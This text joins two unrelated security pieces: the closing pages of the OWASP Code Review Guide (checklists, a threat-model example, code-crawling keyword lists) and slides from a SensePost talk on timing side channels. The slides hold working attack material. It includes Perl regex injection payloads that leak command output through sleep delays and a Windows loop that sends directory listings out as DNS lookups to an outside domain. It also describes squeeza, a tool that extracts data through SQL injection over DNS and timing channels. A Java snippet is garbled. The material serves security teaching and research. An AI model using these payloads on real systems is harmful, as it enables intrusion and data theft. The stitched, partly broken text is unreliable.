default values. Business Logic and Design Check if unexposed instance variables present in form objects that get bound to user inputs. If present, check if they get initialized before form binding. Business Logic and Design Is there execution stopped/terminated after for invalid request? I.e. when authentication/autho- rization check fails? Authorization Check if unexposed instance variables are present in form objects that get bound to user inputs. If present, check if they have default values. Business Logic and Design Check if unexposed instance variables present in form objects that get bound to user inputs. If present, check if they get initialized before form binding. Business Logic and Design Is there execution stopped/terminated after for invalid request? I.e. when authentication/autho- rization check fails? Authorization Are the checks correct implemented? Is there any backdoor parameter? Business Logic and Design Is the check applied on all the required files and folder within web root directory? Business Logic and Design Is there any default configuration like Access- ALL? Business Logic and Design Does the configuration get applied to all files and users? Business Logic and Design Incase of container-managed authentication - Does the authentication get applied on all resources? Authorization Does the design handle sessions securely? Session Management CODE REVIEW CHECKLIST Code Review Checklist 197 CATEGORY DESCRIPTION PASS FAIL Are database credentials stored in an encrypted format Cryptography Does the design support weak data stores like flat files Business Logic and Design Does the centralized validation get applied to all requests and all the inputs? Business Logic and Design Does the centralized validation check block all the special characters? Business Logic and Design Does are there any special kind of request skipped from validation? Business Logic and Design Does the design maintain any exclusion list for parameters or features from being validated? Business Logic and Design Are all the untrusted inputs validated? Input data is constrained and validated for type, length, format, and range. Imput Validation Is the data sent on encrypted channel? Does the application use HTTPClient for making external connections? Cryptography Is the data sent on encrypted channel? Does the application use HTTPClient for making external connections? Cryptography Does the design involve session sharing between components/modules? Is session validated correctly on both ends? Session Management Does the design use any elevated OS/system privileges for external connections/commands? Business Logic and Design Is there any known flaw(s) in API’s/Technology used? For eg: DWR Business Logic and Design Does the design framework provide any inbuilt security control? Like <%: %> in ASP.NET MVC? Is the application taking advantage of these controls? Business Logic and Design Are privileges reduce whenever possible? Business Logic and Design Is the program designed to fail gracefully? Business Logic and Design Are logs logging personal information, passwords or other sensitive information? Logging and Auditing Do audit logs log connection attempts (both successful and failures)? Logging and Auditing Is there a process(s) in place to read audit logs for unintended/malicious behaviors? Logging and Auditing Is all PI and sensitive information being sent over the network encrypted form. Cryptography Does application design call for server authentication (anti-spoofing measure)? Authorization Does application support password expiration? Authorization Does application use custom schemes for hashing and or cryptographic? Cryptography Code Review Checklist 198 Classes that contain security secrets (like passwords) are only accessible through protected API’s General Classes that contain security secrets (like passwords) are only accessible through protected API’s General Keys are not held in code. Cryptography Plain text secrets are not stored in memory for extended periods of time. General Array bounds are checked. General All sensitive information used by application has been identified General CATEGORY DESCRIPTION PASS FAIL Are cryptographic functions used by the application the most recent version of these protocols, patched and process in place to keep them updated? Cryptography Are external libraries, tools, plugins used by the application functions the most recent version of these protocols, patched and process in place to keep them updated? General Does are there any special kind of request skipped from validation? Cryptography User and role based privileges are documented User Management and Authentication Authentication cookies are not persisted User Management and Authentication Authentication cookies are encrypted User Management and Authentication Authentication credentials are not passed by HTTP GET User Management and Authentication Authorization checks are granular (page and directory level) User Management and Authentication Authorization based on clearly defined roles User Management and Authentication Authorization works properly and cannot be circumvented by parameter manipulation User Management and Authentication Authorization cannot be bypassed by cookie manipulation User Management and Authentication No session parameters are passed in URLs Session Management Session cookies expire in a reasonable short time Session Management Session cookies are encrypted Session Management Session data is validated Session Management Session id is complex Session Management Session storage is secure Session Management Code Review Checklist 199 CATEGORY DESCRIPTION PASS FAIL Session inactivity timeouts are enforced Session Management Data is validated on server side Data Management Is all XML input data validated against an agreed schema? Data Management Web service endpoints address in Web Services Description Language (WSDL) is checked for validity Web Services Web service protocols that are unnecessary are disable (HTTP GET and HTTP POST Web Services Has the correct encoding been applied to all data being output by the application Data Management HTTP headers are validated for each request Data Management Are all of the entry points and trust boundaries identified by the design and are in risk analysis report? Business Logic and Design Is output that contains untrusted data supplied input have the correct type of encoding (URL encoding, HTML encoding)? Data Management Web service has documentation protocol is disable if the application does not need dynamic generation of WSDL. Web Services Code Review Checklist 200 THREAT MODELING EXAMPLE Step 1 Decompose the Application The goal of decomposing the application is to gain an understanding of the application and how it interacts with external entities. Information gathering and documentation achieve this goal. The information gathering process is carried out using a clearly defined structure, which ensures the correct information is collected. This structure also defines how the information should be documented to produce the threat model. Description The college library website is the first implementation of a website to provide librarians and library patrons (students and college staff) with online services. As this is the first implementation of the website, the function- ality will be limited. There will be three users of the application: 1. Students 2. Staff The first item in the threat model is the general information relating to the threat model. This must include the following: 1. Application Name: The name of the application 2. Application Version: The version of the application 3. Description: A high level description of the application 4. Document Owner: The owner of the threat modeling document 5. Participants: The participants involved in the threat modeling process for this application 6. Reviewer: The reviewer(s) of the threat model General Information Figure 13 THREAT MODEL INFORMATION V2.0 OWNER - DAVID LOWRY PARTICIPANTS - DAVID ROOK REVIEWER - EOIN KEARY Figure 14 Threat Modeling Example 201 3. Librarians Staff and students will be able to log in and search for books, and staff members can request books. Librarians will be able to log in, add books, add users, and search for books. Entry points should be documented as follows: 1. ID A unique ID assigned to the entry point. This will be used to cross reference the entry point with any threats or vulnerabilities that are identified. In the case of layer entry points, a major, minor notation should be used. 2. Name A descriptive name identifying the entry point and its purpose. 3. Description A textual description detailing the interaction or processing that occurs at the entry point. 4. Trust Levels The level of access required at the entry point is documented here. These will be cross-referenced with the trusts levels defined later in the document. Entry Points Figure 15 Assets are documented in the threat model as follows: 1. ID A unique ID is assigned to identify each asset. This will be used to cross reference the asset with any threats or vulnerabilities that are identified. 2. Name A descriptive name that clearly identifies the asset. 3. Description A textual description of what the asset is and why it needs to be protected. 4. Trust Levels The level of access required to access the entry point is documented here. These will be cross-referenced with the trust levels defined in the next step. Assets Figure 16 Threat Modeling Example 202 Trust levels are documented in the threat model as follows: 1. ID A unique number is assigned to each trust level. This is used to cross reference the trust level with the entry points and assets. 2. Name A descriptive name that allows identification of the external entities that have been granted this trust level. 3. Description A textual description of the trust level detailing the external entity who has been granted the trust level. Trust Levels By using the understanding learned on the college library website architecture and design, the data flow dia- gram can be created as shown in figure X. Figure 17 LIBRARIANS USERS WEB PAGES ON DISK DATABASE FILES WEB SERVER / DATABASE BOUNDARY USER / WEBSERVER BOUNDARY REQUEST REQUEST RESPONSES RESPONSES COLEGE LIBRARY DATABASE COLEGE LIBRARY DATABASE SQL QUERY CALLS PAGES DATA DATA DATA Figure 18 Threat Modeling Example 203 Specifically the user login data flow diagram will appear as in figure 19. A threat list of generic threats organized in these categories with examples and the affected security con- trols is provided in the following table: Stride Threat Modeling Example: Step 2a Threat Categorization The first step in the determination of threats is adopting a threat categorization. A threat categorization pro- vides a set of threat categories with corresponding examples so that threats can be systematically identified in the application in a structured and repeatable manner. LOGIN PROCESS USERS WEB PAGES DATABASE FILES AUTHENTICATE USER SQL QUERY RESULT AUTHENTICATE USER SQL QUERY RESULT PAGES WEB SERVER COLEGE LIBRARY DATABASE LOGIN REQUEST LOGIN RESPONSE AUTHENTICATE USER () AUTHENTICATE USER RESULT DATA DATA USER / WEBSERVER BOUNDARY WEB SERVER / DATABASE BOUNDARY Example application threat model of the user login Figure 19 Threat Modeling Example 204 By referring to the college library website it is possible to document sample threats related to the use cases such as: Threat: Malicious user views confidential information of students, faculty members and librarians. 1. Damage potential Threat to reputation as well as financial and legal liability:8 2. Reproducibility Fully reproducible:10 3. Exploitability Require to be on the same subnet or have compromised a router:7 4. Affected users Affects all users:10 5. Discoverability Can be found out easily:10 Overall DREAD score: (8+10+7+10+10) / 5 = 9 In this case having 9 on a 10 point scale is certainly an high risk threat. Microsoft DREAD threat-risk ranking model Threat Modeling Example: Step 2b Ranking of Threats Threats tend to be ranked from the perspective of risk factors. By determining the risk factor posed by the various identified threats, it is possible to create a prioritized list of threats to support a risk mitigation strategy, such as deciding on which threats have to be mitigated first. Different risk factors can be used to determine which threats can be ranked as High, Medium, or Low risk. In general, threat risk models use different factors to model risks. Threat Modeling Example 205 This appendix gives practical examples of how to carry out code crawling in the following programming languages: • .Net • Java • ASP • C++/Apache Searching for Code in .NET Firstly one needs to be familiar with the tools one can use in order to perform text searching, following this one needs to know what to look for. One could scan through the code looking for common patterns or keywords such as “User”, “Password”, “Pswd”, “Key”, “Http”, etc... This can be performed using the “Find in Files” tool in VS or using findstring as follows: findstr /s /m /i /d:c:\projects\code- base\sec “http” *.* HTTP Request Strings Requests from external sources are obviously a key area of a security code review. We need to ensure that all HTTP requests received are data validated for composition, max and min length, and if the data falls within the realms of the parameter whitelist. Bottom-line is this is a key area to look at and ensure security is enabled. STRING TO SEARCH request.accesstypes request.httpmethod request.cookies request.url request.browser request.querystring request.certificate request.urlreferrer request.TotalBytes request.BinaryRead request.headers request.form request.servervariables request.userlanguages request.files request.item request.rawurl request.useragent STRING TO SEARCH response.write HttpUtility HtmlEncode UrlEncode innerText innerHTML <%= HTML Output Here we are looking for responses to the client. Responses which go unvalidated or which echo external input without data validation are key areas to examine. Many client side attacks result from poor response validation. OUTPUT CODE CRAWLING Code Crawling 206 Code Crawling SQL & Database Locating where a database may be involved in the code is an important aspect of the code review. Looking at the database code will help determine if the application is vulnerable to SQL injection. One aspect of this is to verify that the code uses either SqlParameter, OleDbParameter, or OdbcParameter(System.Data.SqlClient). These are typed and treat parameters as the literal value and not executable code in the database. STRING TO SEARCH exec sp_ select from insert update delete from where delete execute sp_ exec xp_ .Provider System.Data.sql ADODB.recordset New OleDbConnection ExecuteReader DataSource SqlCommand Microsoft.Jet SqlDataReader ExecuteReader SqlDataAdapter StoredProcedure sqloledb sql server driver Server.CreateObject exec @ execute @ executestatement executeSQL setfilter executeQuery GetQueryResultInXML adodb Cookies Cookie manipulation can be key to various application security exploits, such as session hijacking/fixation and parameter manipulation. One should examine any code relating to cookie functionality, as this would have a bearing on session security. STRING TO SEARCH System.Net.Cookie HTTPOnly document.cookie HTML Tags Many of the HTML tags below can be used for client side attacks such as cross site scripting. It is important to examine the context in which these tags are used and to examine any relevant data validation associated with the display and use of such tags within a web application. TAGS <meta> <object> <frame security <iframe security <img> <style> <layer> <ilayer> STRING TO SEARCH HtmlEncode URLEncode <applet> <frameset> <embed> <frame> <html> <iframe> 207 Code Crawling Input Controls The input controls below are server classes used to produce and display web application form fields. Looking for such references helps locate entry points into the application. webcontrols.dropdownlist STRING TO SEARCH htmlcontrols.htmlinputhidden webcontrols.hiddenfield webcontrols.hyperlink webcontrols.textbox webcontrols.label webcontrols.linkbutton webcontrols.listbox webcontrols.checkboxlist WEB.config The .NET Framework relies on .config files to define configuration settings. The .config files are text-based XML files. Many .config files can, and typically do, exist on a single system. Web applications refer to a web.config file located in the application’s root directory. For ASP.NET applications, web.config contains information about most aspects of the application’s operation. httpRuntime sessionState maxRequestLength Debug Credentials identity impersonate timeout remote connectionStrings authentication mode Allow Deny forms protection appSettings ConfigurationSettings appSettings webcontrols.dropdownlist CustomErrors httpCookies httpHandlers STRING TO SEARCH requestEncoding responseEncoding Trace authorization compilation webcontrols.linkbutton webcontrols.listbox webcontrols.checkboxlist global.asax Each application has its own global.asax file if one is required. Global.asax sets the event code and values for an application using scripts. One must ensure that application variables do not contain sensitive information, as they are accessible to the whole application and to all users within it. STRING TO SEARCH Application_OnAuthenticateRequest Application_OnAuthorizeRequest Session_OnStart Session_OnEnd 208 Logging Logging can be a source of information leakage. It is important to examine all calls to the logging subsystem and to determine if any sensitive information is being logged. Common mistakes are logging userID in conjunction with passwords within the authentication functionality or logging database requests which may contain sensitive data. STRING TO SEARCH log4net Console.WriteLine System.Diagnostics.Debug System.Diagnostics.Trace machine.config It is important that many variables in machine.config can be overridden in the web.config file for a particular application. Threads and Concurrency Locating code that contains multithreaded functions as concurrency issues can result in race conditions, which may result in security vulnerabilities. The Thread keyword is where new threads objects are created. Code that uses static global variables that hold sensitive security information may cause session issues. Code that uses static constructors may also cause issues between threads. Not synchronizing the Dispose method may cause issues if a number of threads call Dispose at the same time, this may cause resource release issues. STRING TO SEARCH validateRequest enableViewState enableViewStateMac STRING TO SEARCH Thread Dispose Class Design Public and Sealed relate to the design at class level. Classes that are not intended to be derived from should be sealed. Make sure all class fields are Public for a reason. Don’t expose anything that is not necessary. STRING TO SEARCH Public Sealed Code Crawling 209 Code Crawling Reflection, Serialization Code may be generated dynamically at runtime. Code that is generated dynamically as a function of external input may give rise to issues. If code contains sensitive data, does it need to be serialized? MyClass STRING TO SEARCH Serializable AllowPartiallyTrustedCallersAttribute GetObjectData System.Reflection STRING TO SEARCH catch finally trace enabled customErrors mode StrongNameIdentity StrongNameIdentityPermission Exceptions & Errors Ensure that the catch blocks do not leak information to the user in the case of an exception. Ensure when dealing with resources that the finally block is used. Having trace enabled is not great from an information leakage perspective. Ensure customized errors are properly implemented Cryptography If cryptography is used then is a strong enough cipher used, i.e. AES or 3DES? What size key is used? The larger the better. Where is hashing performed? Are passwords that are being persisted hashed? They should be. How are random numbers generated? Is the PRNG “random enough”? xor STRING TO SEARCH RNGCryptoServiceProvider SHA MD5 base64 DES RC2 System.Security.Cryptography System.Random Random Storage If storing sensitive data in memory, it is recommend to usemy the following. STRING TO SEARCH SecureString ProtectedMemory 210 Authorization, Assert & Revert Bypassing the .Net code access security permission? Not a good idea. Below is a list of potentially dangerous permissions such as calling unmanaged code, outside the CLR. Legacy Methods Some standard functions that should be checked in any context include the following. Searching for Code in Java Input and Output Streams These are used to read data into one’s application. They may be potential entry points into an application. The entry points may be from an external source and must be investigated. These may also be used in path traversal attacks or DoS attacks. STRING TO SEARCH printf strcpy ControlDomainPolicy ControlPolicy SkipVerification ControlEvidence SerializationFormatter ControlPrincipal STRING TO SEARCH RequestMinimum RequestOptional Assert Debug.Assert CodeAccessPermission MemberAccess ControlAppDomain UnmanagedCode java.io.FileOutputStream File ObjectInputStream PipedInputStream STRING TO SEARCH FileInputStream ObjectInputStream FilterInputStream PipedInputStream SequenceInputStream StringBufferInputStream BufferedReader ByteArrayInputStream StreamTokenizer getResourceAsStream java.io.FileReader java.io.FileWriter java.io.RandomAccessFile java.io.File renameTo Mkdir Code Crawling 211 Code Crawling Servlets These API calls may be avenues for parameter/header/URL/cookie tampering, HTTP Response Splitting and information leakage. They should be examined closely as many of such APIs obtain the parameters directly from HTTP requests. STRING TO SEARCH javax.servlet.* getParameterNames getParameterValues getParameter getLocalName getAttribute getAttributeNames getLocalAddr getPrincipal getUserPrincipal isUserInRole getInputStream HttpServletRequest getQueryString getHeaderNames getHeaders getAuthType getRemoteUser getCookies isSecure getServerName getRemoteAddr getRemoteHost getRealPath getParameterMap getScheme getProtocol getContentType getName getPath getDomain getComment getValueNames getRequestedSessionId getRequestURI getRequestURL getServerName getValue getMethod getPath getReader getRealPath setHeader setAttribute putValue javax.servlet.http.Cookie getOutputStream getWriter addCookie addHeader Cross Site Scripting These API calls should be checked in code review as they could be a source of Cross Site Scripting vulnerabilities. STRING TO SEARCH javax.servlet.ServletOutputStream.print strcpy Response Splitting Response splitting allows an attacker to take control of the response body by adding extra CRLFs into headers. In HTTP the headers and bodies are separated by 2 CRLF characters, and thus if an attackers input is used in a response header, and that input contained 2 CRLFs, then anything after the CRLFs would be interpreted as the response body. In code review ensure functionality is sanitizing any information being put into headers. STRING TO SEARCH javax.servlet.http.HttpServletResponse.sendRedirect strcpy setHeader 212 Redirection Any time an application is sending a redirect response, ensure that the logic involved cannot be manipulated by an attackers input. Especially when input is used to determine where the redirect goes to. SQL & Database Searching for Java database related code should help pinpoint classes/methods which are involved in the persistence layer of the application being reviewed. SSL Looking for code which utilises SSL as a medium for point to point encryption. The following fragments should indicate where SSL functionality has been developed. STRING TO SEARCH sendRedirect setStatus addHeader etHeader STRING TO SEARCH java.sql.Connection.prepareStatement java.sql.ResultSet.getObject select insert java.sql.Statement.executeQuery java.sql.Statement.execute delete update java.sql.Connection.prepareCall createStatement java.sql.ResultSet.getString executeQuery jdbc java.sql.Statement.executeUpdate java.sql.Statement.addBatch execute executestatement STRING TO SEARCH com.sun.net.ssl SSLContext SSLSocketFactory TrustManagerFactory HttpsURLConnection KeyManagerFactory Session Management The following APIs should be checked in code review when they control session management. STRING TO SEARCH getSession invalidate getId Code Crawling 213 Code Crawling Logging We may come across some information leakage by examining code below contained in one’s application. Legacy Interaction Here we may be vulnerable to command injection attacks or OS injection attacks. Java linking to the native OS can cause serious issues and potentially give rise to total server compromise. STRING TO SEARCH java.lang.Runtime.exec java.lang.Runtime.getRuntime getId STRING TO SEARCH java.io.PrintStream.write log4j jLo Lumberjack JDLabAgent MonoLog qflog just4log log4Ant Ajax and JavaScript Look for Ajax usage, and possible JavaScript issues: STRING TO SEARCH document.write eval document.cookie window.location document.URL document.URL Searching for Code in Classic ASP Input APIs in ASP are commonly used to retrieve the input from the request, therefore code review should ensure these requests (and dependent logic) cannot be manipulated by an attacker. Output APIs are used by ASP to write the response body that will be sent to the end user, hence code review should check these requests are used in a proper manner and no sensitive information can be returned. Cookies can also be a source of information leakage. STRING TO SEARCH Request Request.QueryString Request.Form Request.ServerVariables Response.Write Response.BinaryWrite <%= .cookies Query_String hidden include .inc 214 STRING TO SEARCH err. Server.GetLastError On Error Resume Next On Error GoTo 0 STRING TO SEARCH location.href location.replace method=”GET” On Error GoTo 0 Error Handling Ensure errors in an application are handled properly, otherwise an attacker could use error conditions to manipulate the application. Information in URL These APIs are used to extract information from the URL object in the request. Code review should check that the information extracted from the URL is sanitized. Database These APIs can be used to interact with a database, which can lead to SQL attacks. Code review can check these API calls use sanitized input. STRING TO SEARCH commandText select from update insert into .open ADODB. Commandtype ICommand delete from where IRowSet execute .execute Session These API calls can control session within ASP applications. STRING TO SEARCH session.timeout session.abandon session.removeall Code Crawling 215 Code Crawling DOS Prevention & Logging The following ASP APIs can help prevent DOS attacks against the application. Leaking information to a log can be of use to an attacker, hence the following API call can be checked in code review to ensure no sensitive information is being written to logs. Redirection Do not allow attacker input to control when and where rejection occurs. STRING TO SEARCH server.ScriptTimeout IsClientConnected WriteEntry STRING TO SEARCH Response.AddHeader Response.AppendHeader Response.Redirect Response.Status Response.StatusCode Server.Transfer Server.Execute Searching for Code in Javascript and AJAX Ajax and JavaScript have brought functionality back to the client side, which has brought a number of old security issues back to the forefront. The following keywords relate to API calls used to manipulate user state or the control the browser. The advent of AJAX and other Web 2.0 paradigms has pushed security concerns back to the client side, but not excluding traditional server side security concerns. Look for Ajax usage, and possible JavaScript issues. STRING TO SEARCH eval document.cookie document.referrer document.attachEvent document.open document.URL document.URLUnencoded document.write document.create document.execCommand document.forms[0].action document.location document.body document.body.innerHtml document.body.innerText document.close document.writeln location.hash location.href location.search window.alert window.attachEvent window.createRequest window.execScript window.location window.open window.navigate window.setInterval window.setTimeout XMLHTTP 216 Searching for Code in C++ and Apache Commonly when a C++ developer is building a web service they will build a CGI program to be invoked by a web server (though this is not efficient) or they will use the Apache httpd framework and write a handler or filter to process HTTP requests/responses. To aid these developers, this section deals with generic C/C++ functions used when processing HTTP input and output, along with some of the common Apache APIs that are used in handlers. Legacy C/C++ Methods For any C/C++ code interacting with web requests, code that handles strings and outputs should be checked to ensure the logic does not have any flaws. STRING TO SEARCH exec sprint document.referrer fprintf cerr System popen stringstream fstringstream Malloc free strncpy Strcat cout cin printf Stdio FILE strcpy Request Processing When coding within Apache, the following APIs can be used to obtain data from the HTTP request object. STRING TO SEARCH headers_in ap_read_request post_read_request Response Processing Depending on the type of response to be sent to the client, the following Apache APIs can be used. STRING TO SEARCH headers_out ap_rprintf ap_send_error_response ap_send_fd ap_vprintf Code Crawling 217 Code Crawling Logging Log messages can be implemented using custom loggers included in the module (e.g. log4cxx, etc), by using the Apache provided logging API, or by simply writing to standard out or standard error. STRING TO SEARCH cout cerr ap_open_stderr_log ap_error_log2stderr ap_log_error ap_log_perror ap_log_rerror STRING TO SEARCH ap_unescape_all ap_unescape_url ap_unescape_url_keep2f ap_unescape_urlencoded ap_escape_path_segment Cookie Processing Cookie can be obtained from the list of request headers, or from specialized Apache functions. STRING TO SEARCH headers_in headers_out headers_out ap_cookie_write2 ap_cookie_read ap_cookie_check_string HTML Encoding When the team has got a handle for the HTML input or output in the C/C++ handler, the following methods can be used to ensure/check HTML encoding. HTML 218 The icons below represent what other versions are available in print for this book title. ALPHA: “Alpha Quality” book content is a working draft. Content is very rough and in development until the next level of publish- ing. BETA: “Beta Quality” book content is the next highest level. Content is still in devel- opment until the next publishing. RELEASE: “Release Quality” book content is the highest level of quality in a book title’s lifecycle, and is a final product. Attribution You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work). Share Alike If you alter, transform, or build upon this work, you may distrib- ute the resulting work only under the same, similar or a compatible license. To Share - To copy, distribute and trans- mit the work To Remix - to adapt the work YOU ARE FREE: UNDER THE FOLLOWING CONDITIONS: The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application se- curity “visible”, so that people and organizations can make informed decisions about application security risks. Every one is free to participate in OWASP and all of our materials are available under a free and open software license.The OWASP Foundation is a 501c3 not-for-profit charitable organi- zation that ensures the ongo- ing availability and support for our work. Alpha Beta Release
pdf
Agenda • Who we are • What this talk is about • Why? • Background • Timing as a Channel • Timing as a Vector • Privacy Implications - XSRT? • Another acronym - (D)XSRT! • Conclusion / Questions Who we are.. • SensePost – Formed in 2000 – Written a few papers.. – Spoken at a few conferences – Written a few books – Done some Training • marco • haroon http://www.sensepost.com/blog What is this talk about? • Timing Stuff.. • Who should care ? – If you are a developer.. • Awareness of your applications leakage – If you are a Pen-Tester.. • You could be missing attack vectors completely (or stopping short of full ownage when its relatively trivial!) – If you like new acronyms! • X.S.R.T • (D)X.S.R.T Stepping Back a Little An illustrious history of side channel attacks on computing systems – differential power analysis •hardware – EM radiation emission analysis •hardware – timing analysis •software/hardware Traditional Timing • Timing has received lots of attention over the years in the area of crypt- analysis – Kocher [1996] • 1st local results against RSA and DH – Brumley & Boneh [2003] • Derived partial RSA over network due to weaknesses in OpenSSL – Bernstein [2004] • Derived full AES key across custom network clients – Percival [2005] • L1 cache access times could be used on HT processors to derive RSA key bits Web Time • Felten & Schneider [2000] – early results on timing and the web – focused on privacy • browser cache snooping • dns cache snooping Web Time Point Oh – Grossman & Niedzialkowski [2006] – SPI Dynamics [2006] •Both released a JavaScript port scanner using JS’s onerror feature. Implicitly uses timing attacks (connection timed out, hence it is closed) – Bortz, Boneh & Nandy [2007] •Direct timing (valid usernames, hidden gallery sizes) •Cross Site Timing – <img onerror=xxxxx> A Communication Channel • A solid channel is a real basic requirement. • A quick progression of remote command execution attacks: (relevant to channels) The App. Is the Channel • Sometimes the application by its nature gives data back to the attacker.. • Command injection • Friendly SQL queries The App. Is the Channel • Sometimes the firewalling is so poor that the whole thing is almost moot! • But we cant count on being that lucky… The App. Is the Channel • So what happens when it gets a little tighter? $search_term = $user_input; if($recordset =~ /$search_term/ig) do_stuff(); The App. Is the Channel (?{`uname`;}) (?{`sleep 20`;}) (?{`perl -e 'system("sleep","10");'`;}) (?{`perl -e 'sleep(ord(substr(qx/uname/, 0,1)))'`;}) $search_term = $user_input; if($recordset =~ /$search_term/ig) do_stuff(); Proof of my lame’ness wh00t:~/customers/bh haroon$ python timing.py "uname" [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0] seconds [*] ['S'] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0] seconds [*] ['S', 'u'] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0] seconds [*] ['S', 'u', 'n'] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0] seconds [*] ['S', 'u', 'n', 'O'] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0, 83.0] seconds [*] ['S', 'u', 'n', 'O', 'S'] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0, 83.0, 10.0] seconds [*] ['S', 'u', 'n', 'O', 'S', '\n'] Proof (II) • Clearly this had issues.. • ord('A') => 65 • unpack(B32, ’A') => 01000001 – Sleep 0 – Sleep 1 – Sleep 0 – … SQL Injection (Classic) • SQL & WWW Server are the same box.. (same as birdseye) • echo foo > c:\inetpub\wwwroot\.. SQL Injection (same) • But outbound access like this almost never happens anymore.. Confirming execution? • Call home: (ping, smb,nc..etc) • Rudimentary timing: (‘ping -n20 localhost’) • Nslookup:‘nslookup moo_moo.sensepost.com’ • We thought DNS was worth chasing.. Poor mans dns tunnel • for /F "usebackq tokens=1,2,3,4* %i in ('dir c:\ /b') do nslookup %i.sensepost.com • Works fine for small pieces of data.. • Sucks for anything binary.. • Sucks for anthing over 255 chars Poor mans dns tunnel • Aka - introducing squeeza • Inspired (in part) by Sec-1 Automagic SQL Injector.. • Provides – Simple shell to pull server-side data into tables (sql query / xp_cmdshell / etc) – Return channel to get inserted data from the server to us – Binary-safe transport – Reliable transport • Requirements – ruby – tcpdump – possibly access to a DNS server – large SQL injection point Squeeza’s DNS internals 1 Basic Operation: 1. Initial HTTP request pulls data into a predefined table SQCMD. 2. For each row ri in SQCMD, send a HTTP request to: a) chop ri into fixed-size blocks b1 , b2 , … bn = ri b) For each block bj , convert to hex hj = hex(bj ) c) Prepend header to and append domain to hj . d) Initiate DNS lookup for hj . e) Capture the DNS request with Squeeza, decode hex and store the block. 3. If blocks are missing, re-request them. Squeeza’s DNS internals 2 • Keep in mind that pulling data into the table is not related to extracting it. i.e. the source can vary • The default method of kicking off DNS queries is xp_cmdshell+nslookup. Oftentimes that stored proc isn’t available or allowed. • Can we cause DNS request to be initiated otherwise? • Of course! • xp_getfiledetails() \\1_29_1_93.0x717171717171717171717171717171717 171717171717171.7171717171.sensepost.com.\c$ Squeeza demo Hey!! • I thought this talk was about timing? • SQL Server’s “waitfor delay” • Used by a few injection tools as a boolean operator (sql injector powershell, sqlninja, etc) • If user=sa {waitfor 10}, else{waitfor delay 20} • So… (considering lessons learned from squeeza_I and oneTime.py, we can: – Execute command / extract data into new table – Encode table as binary strings `hostname` = winbox = 01110111 01101001 01101110 01100010 01101111 01111000 – Sleep 0, sleep 2, sleep 2, sleep 0, .. More proof of my lame’ness • Aka - more squeeza coolness.. • anotherTime.py: • Squeeza’s timing channel: But how reliable is timing? • Well, that all depends on how reliable your line is • But we can try to accommodate shaky lines and loaded servers with a sprinkling of stats • Basic calibration idea is to collect a sample set of 0-bit and 1-bit requests, discard outliers, apply elementary statistics and derive two landing pads • If the landing pads are far enough apart, we’ll use them, otherwise increase the time delay for 1-bits and re-calibrate Request Timings 0 10 20 30 40 50 60 70 80 90 100 5 15 25 35 45 55 65 75 85 95 105 Time in ms Frequency 0-bit 1-bit Timing Calibration 0 0-bit 1-bit time Discarded Discarded More squeeza cool’ness • Additional channels • File Transfer. • Modularityness :) http://www.sensepost.com/research/squeeza http://www.sensepost.com/blog Timing as its own Vector • Information Leakage is big when Application Testing • (not just because it allows security guys to say “Use generic error messages!”) • This is useful to us as attackers / analysts.. But.. • We have been beating this drum for a bit, • So you see it less frequently in the wild, • But.. – Subtle timing differences are sometimes present, – We just haven't been listening.. – Hardware security Tokens (longer round trip times) Timing failed logins • Perfect example of what we discussed.. • Can you spot it ? • We thought it was pretty cool at the time.. (yetAnotherTime.py) Why is this scary? • We took a quick look at most popular application scanners out there.. • None made any reference at all to caring about timing at all.. • We built it into Suru (but to be honest, only since we discovered timing love!) • Do it manually, buy Suru, or step on your app-scan vendors! Timing and Privacy • Same Origin Policy: • The point was simple: Don’t let site- A get results from site-B unless they are related.. • So how did Jeremiah (and friends) do all that port-scanning coolness? – They used JavaScript onLoad() and onError() events to determine if they can access a host:port – Variation with CSS and link visited followed. Timing and Privacy • Portscanning was soon followed by History checking: • Using CSS to determine if links were visited. • Ed Felten in 2000 examined the dangers of Java and Timing to users Privacy by timing load times. • Felten’s 2000 Timing Attack on Privacy. We thought • We thought we invented a new acronym.. • XSRT - Cross Site Request Timing.. – We were wrong: (Andrew Bortz - 2007) – Exactly the same attack: (Are you currently logged into linkedin / myspace / facebook / bank.com / internetbanking?) • Example: – Fetch (http://www.facebook.com/friends.php?r) X.S.R.T • Cross Site Request Timing.. • Simply: • Victim visits attackers website (or site with attackers JS) • JavaScript causes Victims browser to surf to http://www.facebook.com/friends.php?r • JavaScript determines load time, to decide if user is (or isnt logged in) (> 50ms - user logged in) • Problem: This doesn’t work the same for U.S victims and .ZA victims! (.za adds 100ms just by default!) X.S.R.T • We introduce the concept of a base- page 1. Fetch page available to both Logged-in and Logged-out users (base-page) (X Seconds) 2. Fetch the page available only to Logged-in users (Y Seconds) 3. Calculate X/Y • This gives us a latency resistant method of determining logged- in/logged-out status • (What about cached pages?) • Wow! We can tell a user if he is or isnt logged into mailbox? • (Can we determine this remotely?) So.. • Lets summarize this quickly.. – We know some sites will betray valid usernames through timing differences – We know that (most) sites will betray a valid login from an invalid one based on timing.. – We know we can use your browser to time stuff while you are surfing.. Hampster!! QuickTime™ and a xvid decompressor are needed to see this picture. (D) X.S.R.T • (Re)Introducing: • Distributed Cross Site Request Timing • Lets take it in stages: – Recall the timing script we ran against the Internet Banking site (timing.py) – We can implement that in JavaScript (so instead of running it from through python on my box, I can run it in JavaScript on your box!) – A small time granularity problem! A More Granular Timer? Lars Kindermann. Myaddress java applet.html So: nanoTime() from java.lang.System // pdp architects code to obtain local browser IP Address func tion get Net Info() { var s ock = new java.net .Socket(); so ck.bi nd(n ew jav a.ne t.InetSocketA dd ress( '0. 0.0 .0', 0)); so ck.con nect(n ew java.net .InetSoc ketAddress (docum ent .domain , (!docum ent .locat ion.po rt)?80: docum ent. loc ation. por t)); ret urn {doma in: so ck.get LocalAd dres s().getHostNam e(), ip: so ck.getLocalAdd ress( ).g et HostAdd re ss()}; } (D) X.S.R.T • Distributed Cross Site Request Timing • Lets take it in stages: – Recall the timing script we ran against the Internet Banking site (timing.py) – We can implement that in JavaScript (so instead of running it from through python on 